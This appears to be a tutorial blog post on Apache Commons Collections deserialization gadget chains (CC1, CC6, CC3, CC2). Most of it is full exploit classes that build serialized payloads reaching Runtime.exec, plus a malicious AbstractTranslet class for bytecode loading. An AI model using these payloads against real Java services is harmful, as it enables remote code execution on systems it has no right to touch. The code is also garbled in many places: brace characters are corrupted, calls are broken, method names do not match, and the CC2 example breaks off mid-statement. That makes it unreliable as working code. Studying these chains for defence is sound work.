CC1
Let's talk about CC1 first.
Firstly, in order to execute commands, we need to find a malicious method. That is, the following class method

We can see that the transformer method in InvokerTransformer performs a reflection call
public O transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class<?> cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
{}
We can find that it calls method.invoke(input, this.iArgs); so we can use this transform to perform command execution
Through the constructor, we can know how iMethodName, iParamTypes, iArgs are passed in
We can find that its constructor is public, so we can construct the command execution in the following way
public class DDEMO {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(runtime);
{}
{}
We need to find other classes that call this method from the transform method, so as to jump to other classes
We search for the class that called transform and found the cheakSetValue of TransformedMap
Continue to search and we can find the setValue of AbstractInputCheckedMapDecorator
First, we find this part, and we want to see how this setValue is triggered.
The setValue method is actually often used in the iteration of Map methods, as shown in the following code
for (Map.Entry entry : map.entrySet())
{
entry.setValue(runtime);
{}
The above code is a loop over the setValue method in the map, and it will jump to the cheakSetValue of the map.
We can find that this TransformedMap class inherits from another AbstractInputCheckedMapDecorator class, and as we step by step, we will find that the final inherited class is the Map class.
In fact, this TransformedMap is just a Map class, so we can iterate over this TransformedMap to set value and thus call the cheakSetvalue method of TransformedMap, and then call the transform method.
That is, we can try to execute commands through the following method
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("a", 1);
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry : transformedMap.entrySet())
{
entry.setValue(runtime);
{}
{}
Then we check the call location of setValue
We can find a method that calls setValue in the readObject method
So our chain is actually complete. As follows
Although AnnotationInvocationHandler is not a public class, we can invoke it by reflection, the parameters of the AnnotationInvocationHandler constructor are an annotation class and a Map, and this annotation class is actually the one we overwrite@Override
and so on.
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getConstructor(Class.class, Map.class);
Object instance = constructor.newInstance(Target.class, transformedMap);
But now we still have two problems to solve, one is that the Runtime class does not inherit the Serializable interface, so we cannot deserialize it, and the other is that we can find that the value passed to setValue in AnnotationInvocationHandler is not controllable and is hardcoded, which leads to us being unable to pass Runtime into setValue for command execution
In fact, these two problems can be solved at one time
These are two classes
We can know from the codeChainedTransformer
In fact, the instantiated parameter is an array, and when it calls transform, it will loop through each class in the array to call transform, and the value returned by the previous call to transform will be used as the parameter for the next transform.
As follows is the code
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
Pass ConstantTransformer in the array, and after calling Transformer, it will return the original value of the instantiated parameter, i.e., it returns Runtime.class as the next transformer for InvokerTransformer to call, and so on, so that command execution can be achieved
So we pass chainedTransformer into TransformedMap, and when traversing the map, it will call the transformer of chainedTransformer
At this time, we can write the following exp
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.TransformedMap.*;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
{}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
{}
public static void main(String[] args) throws Exception {
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
HashMap<Object, Object> map = new HashMap<>();
map.put("aaa","bbb");
Map<Object, Object> transformerMap = TransformedMap.decorate(map, null, chainedTransformer);
Constructor constructor=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformerMap);
Serializ(o);
Unserialize("ser.bin");
{}
{}
But this exp still has some problems, we can set a breakpoint to debug it
We can see that it finally gets the type through get(name), which is the annotated class attribute we passed in.
And the value of name is our map's key, so we just need to pass the key of the annotated class attribute to map.put
We pass a map's key as value
It can command execution, exp as follows
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.TransformedMap.*;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
{}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
{}
public static void main(String[] args) throws Exception {
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "bbb");
Map<Object, Object> transformerMap = TransformedMap.decorate(map, null, chainedTransformer);
Constructor constructor=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformerMap);
Serializ(o);
Unserialize("ser.bin");
{}
{}
CC1_LazyMap
In ysoserial, the CC1 call chain does not use TransformerMap but uses LazyMap. Using this class to construct it will be more difficult than TransformerMap because it requires a java concept, namely dynamic proxy.
Let's take a look at how LazyMap calls transform
We can find that it calls transform in the get, but we can't find the call to this get method in AnnotationInvocationHandler's readObject, but we found this call in invoke.
And we can find that the AnnotationInvocationHandler class is a class that has completed the InvocationHandler interface. Then we use a Map's dynamic proxy and pass the third parameter as AnnotationInvocationHandler, so that this proxy will jump to invoke when calling any method. Thus, it will execute memberValues.get(member); to perform command execution
The latter part of the chain remains unchanged
We write a command execution demo
public static void main(String[] args) throws Exception {
("exec", new Class[]{String.class}, new Object[]{"calc"});
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
proxyMap.entrySet();
In fact, the proxy in the above demo can pop up the computer for any interface, but because our deserialization entry point is AnnotationInvocationHandler's readObject, we still need to pass the proxy into AnnotationInvocationHandler, and its readObject calls entrySet() as follows
That is, the proxy we pass in must be able to call entrySet() so that it can enter invoke normally, and this method is defined in the Map, so our interface must be defined as Map
exp as follows
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.TransformedMap.*;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC1_LazyMap {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
{}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
{}
public static void main(String[] args) throws Exception {
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
InvocationHandler inv = (InvocationHandler)constructor.newInstance(Target.class, proxyMap);
Serializ(inv);
Unserialize("ser.bin");
{}
{}
CC6
The purpose of learning this chain is because the CC1 we learned can no longer be used after JDK8u71, because after JDK8u71, the readObject of AnnotationInvocationHandler has been changed. As follows
We can find that the two branches TransformerMap and LazyMap of CC1 are located at the trigger point of readObject and have been repaired, causing us to be unable to exploit them
So we need to learn this CC6
The second half of this CC6 chain is actually not very different from CC1_LazyMap, because java high version has modified AnnotationInvocationHandler, so we can only find the methods that call get in other classes.
Finally, we can find a getValue call that calls map.get() in TiedMapEntry
Continue to find and you can find that getValue() is called under hashCode() in the same category.
Upon seeing this hashCode, the dead memories suddenly attacked me. We have used hashCode() in the URLDNS we learned before, so the remaining call chain is not the same as URLDNS, right?
Through HashMap's readObject, we can call hash(), and the hash() method calls hashCode().
So we can write the following exp
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
{}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
{}
public static void main(String[] args) throws Exception {
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
HashMap<Object, Object> map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "keykey");
HashMap<Object, Object> ser_map = new HashMap();
ser_map.put(tiedMapEntry,"value");
f.setAccessible(true);
f.set(chainedTransformer, Transformer);
Serializ(ser_map);
Unserialize("ser.bin");
{}
{}
However, unfortunately, when we execute, we find that the ser_map.put before deserialization triggers the computer, but the command execution will not be triggered during deserialization. Similarly, we can use a breakpoint to debug
We will find that it finds the key 'keykey' in the lazyMap, which is very strange. It is strange that the key is not defined but it can still find it
This is because when we use ser_map.put, we also trigger the following code
public V put(K key, V value) {}}
return putVal(hash(key), key, value, false, true);
{}
This results in the keykey being written to lazyMap, and the solution is simple, directly use lazyMap.remove("keykey")
This is enough
Before deserialization, we can execute commands by first passing a fake Transform array to ChainedTransformer, then put ser_map.put, and then pass a real Transform array through reflection. Example as follows
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
{}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
{}
public static void main(String[] args) throws Exception {
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
HashMap<Object, Object> map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "keykey");
HashMap<Object, Object> ser_map = new HashMap();
ser_map.put(tiedMapEntry,"value");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer, Transformer);
lazyMap.remove("keykey");
Serializ(ser_map);
Unserialize("ser.bin");
{}
{}
CC6 modification without array
We can also modify the command execution method of CC6 so that it can execute commands without using an array
To execute commands without using an array, you need to use the method of loading bytecode to execute commands.
By examining the call stack, we find that we can control the parameter Obj of transform(Obj), that is, as long as we pass templates, we can use the method newTransform to directly invoke templates.newTransform to load bytecode and execute commands. As long as the cc chain is controllable by Obj, we can directly execute commands by loading bytecode. The code is as follows
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC6_noArray {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
{}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
{}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodeField = tc.getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
byte[][] codes = {code};
bytecodeField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); // Pass the parameter templates to the key so that an array does not need to be used
HashMap<Object, Object> ser_map = new HashMap();
ser_map.put(tiedMapEntry,"value");
Field iMethodName=transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
lazyMap.remove(templates);
Serializ(ser_map);
Unserialize("ser.bin");
{}
{}
CC3
The purpose of learning this chain is actually very simple, that is, this chain provides a second method of command execution, which is to execute commands through class loading methods.
The first part of CC3 actually has no difference from CC1, so I'll record how to execute commands through class loading here
As before, let's analyze the cause of command execution
Firstly, we know that after loading a class with ClassLoader and instantiating it, we can execute its constructor, static block, etc. The underlying call of ClassLoader is defineClass, but its defineClass is not a public class. We need to find a class that overrides defineClass, is public, and serializable
By searching for the format like defineClass, we can find that TemplatesImpl in the com.sun.org.apache.xalan.internal.xsltc.trax package overrides and calls defineClass()
By looking at the usage, we can see that defineTransletClasses() calls defineClass() and by looking further up
We can find that getTransletInstance() calls defineTransletClasses() and it uses our class with newInstance() for instantiation.
You can find the public newTransformer() by searching online
Once we find this, we can use the first part of our CC1 chain to reflectively call this newTransformer
So, to use this for command execution, we definitely need to use reflection to assign values to its internal properties.
Let's look at the getTransletInstance() method
We will find that it needs_name
With a value, and_class
No value will enter defineTransletClasses()
By examining defineTransletClasses(), we find that it uses_tfactory
This value must have a value otherwise an error will occur, and it will store the bytecode_bytecodes[i]
Passing to defineClass for processing
Then, by passing the malicious class we want to load into _bytecodes, we can execute commands.
By examining various attribute types, we can find that _bytecodes is a two-dimensional array.
However, _tfactory is transient, meaning it cannot be serialized, but we still need to call it, so it must be assigned a value during deserialization
Let's look at readObject
It will be found that it is assigned the value new TransformerFactoryImpl();
In this way, we can write a demo to check for command execution as follows
public class CC3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
TemplatesImpl tmpl = new TemplatesImpl()
Class clazz=tmpl.getClass();
Field namefeld= clazz.getDeclaredField("_name");
namefeld.setAccessible(true);
namefeld.set(tmpl,"aaa");
Field bytefeld= clazz.getDeclaredField("_bytecodes");
bytefeld.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_demo.class"));
byte[][] bytecodes= {code};
bytefeld.set(tmpl,bytecodes);
Field tfactoryfeld= clazz.getDeclaredField("_tfactory");
tfactoryfeld.setAccessible(true);
tfactoryfeld.set(tmpl,new TransformerFactoryImpl());
tmpl.newTransformer();
{}
{}
However, it will still report an error and cannot execute commands. This problem is due to the malicious class, and we can debug with breakpoints
We will find that as long as the value of the parent class of our malicious class is equal to ABSTRACT_TRANSLET, _transletIndex will be assigned, and it will not enter the else branch, so no error will be reported. Below there is another judgment on _transletIndex, if it is less than 0, an exception will be thrown, so the name of our malicious class's parent class must be ABSTRACT_TRANSLET, as follows
The malicious class code can be as follows to execute commands
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class test extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
{}
{}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
{}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
{}
{}
So the first half of this chain has been written
The first half of it is actually using CC1 to reflect newTransformer for command execution
exp as follows
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.TransformedMap.*;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
{}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
{}
public static void main(String[] args) throws Exception {
TemplatesImpl tmpl = new TemplatesImpl()
Class clazz=tmpl.getClass();
Field namefeld= clazz.getDeclaredField("_name");
namefeld.setAccessible(true);
namefeld.set(tmpl,"aaa");
Field bytefeld= clazz.getDeclaredField("_bytecodes");
bytefeld.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get();"C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
byte[][] bytecodes= {code};
bytefeld.set(tmpl,bytecodes);
Field tfactoryfeld= clazz.getDeclaredField("_tfactory");
tfactoryfeld.setAccessible(true);
tfactoryfeld.set(tmpl,new TransformerFactoryImpl());
tmpl.newTransformer();
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(tmpl),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "bbb");
Map<Object, Object> transformerMap = TransformedMap.decorate(map, null, chainedTransformer);
Constructor constructor=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformerMap);
Serializ(o);
Unserialize("ser.bin");
{}
{}
We can also use further upward search to execute commands without using InvokerTransformer
We can look further up to find the TrAXFilter class,
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechanism();
{}
}}
We can see that its constructor calls templates.newTransformer(). But since it is a constructor, we can only trigger it through instantiation or reflection.
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException();
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
{}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
{}
We can use this transform to instantiate TrAXFilter to trigger the constructor to load bytecode execution commands.
exp as follows
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
{}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
{}
public static void main(String[] args) throws Exception {
TemplatesImpl tmpl = new TemplatesImpl()
Class clazz=tmpl.getClass();
Field namefeld= clazz.getDeclaredField("_name");
namefeld.setAccessible(true);
namefeld.set(tmpl,"aaa");
Field bytefeld= clazz.getDeclaredField("_bytecodes");
bytefeld.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get();"C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
byte[][] bytecodes= {code};
bytefeld.set(tmpl,bytecodes);
Field tfactoryfeld= clazz.getDeclaredField("_tfactory");
tfactoryfeld.setAccessible(true);
tfactoryfeld.set(tmpl,new TransformerFactoryImpl());
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{tmpl})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "bbb");
Map<Object, Object> transformerMap = TransformedMap.decorate(map, null, chainedTransformer);
Constructor constructor=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformerMap);
Serializ(o);
Unserialize("ser.bin");
{}
{}
CC2
CC2 is a chain in collections4, although CC1, 3, and 6 are chains in collections3.1, in fact, just changing the constructor of LazyMap or TransformedMap from decorate to lazyMap or transformedMap can make command execution possible
Alright, let's start talking about CC2
The chain of CC2 is actually just a change in the starting position. That is, the start has become PriorityQueue->TransformingComparator->TransformingComparator.transform()
The process from PriorityQueue to TransformingCompartor is as follows: readObject->heapify->siftDown->siftDownUsingComparator->compare->transform as follows
Knowing the calling process of these two, we can simply write out the exp.
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class CC2 {
public CC2() throws IOException, ClassNotFoundException {
{}
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser_c.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
{}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
{}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
{}
public static void main(String[] args) throws Exception{
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,}}) null}),
